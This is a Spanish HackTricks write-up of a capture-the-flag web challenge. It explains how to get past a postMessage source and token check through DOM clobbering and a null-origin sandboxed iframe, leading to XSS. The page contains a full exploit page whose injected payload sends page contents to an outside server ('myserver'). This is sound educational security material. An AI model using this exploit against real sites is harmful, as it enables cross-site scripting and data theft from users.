hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

7.6 KiB

Bypassing SOP con Iframes - 2

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Iframes en SOP-2

En la solución para este desafío, @Strellic_ propone un método similar al de la sección anterior. Veámoslo.

En este desafío, el atacante necesita burlar esto:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Si lo hace, puede enviar un postmessage con contenido HTML que se escribirá en la página con innerHTML sin saneamiento (XSS).

La forma de pasar la primera comprobación es haciendo que window.calc.contentWindow sea undefined y e.source sea null:

  • window.calc.contentWindow es en realidad document.getElementById("calc"). Puede sobrescribir document.getElementById con <img name=getElementById /> (tenga en cuenta que la API Sanitizer -aquí- no está configurada para proteger contra ataques de sobrescritura de DOM en su estado predeterminado).
    • Por lo tanto, puede sobrescribir document.getElementById("calc") con <img name=getElementById /><div id=calc></div>. Entonces, window.calc será undefined.
    • Ahora, necesitamos que e.source sea undefined o null (porque se usa == en lugar de ===, null == undefined es True). Conseguir esto es "fácil". Si crea un iframe y envía un postMessage desde él e inmediatamente lo elimina, e.origin será null. Compruebe el siguiente código.
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

Para saltarse la segunda comprobación sobre el token, se debe enviar token con valor null y hacer que el valor de window.token sea undefined:

  • Enviar token en el postMessage con valor null es trivial.
  • window.token se llama en la función getCookie que utiliza document.cookie. Tenga en cuenta que cualquier acceso a document.cookie en páginas de origen null desencadena un error. Esto hará que window.token tenga un valor de undefined.

La solución final de @terjanq es la siguiente:

<html>
    <body>
        <script>
            // Abuse "expr" param to cause a HTML injection and
            // clobber document.getElementById and make window.calc.contentWindow undefined
            open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
            
            function start(){
                var ifr = document.createElement('iframe');
                // Create a sandboxed iframe, as sandboxed iframes will have origin null
                // this null origin will document.cookie trigger an error and window.token will be undefined
                ifr.sandbox = 'allow-scripts allow-popups';
                ifr.srcdoc = `<script>(${hack})()<\/script>`
                
                document.body.appendChild(ifr);
                
                function hack(){
                    var win = open('https://obligatory-calc.ctf.sekai.team');
                    setTimeout(()=>{
                        parent.postMessage('remove', '*');
                        // this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
                        // token=null equals to undefined and e.source will be null so null == undefined
                        win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
                    },1000);
                }
                
                // this removes the iframe so e.source becomes null in postMessage event.
                onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
            }
            setTimeout(start, 1000);
        </script>
    </body>
</html>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥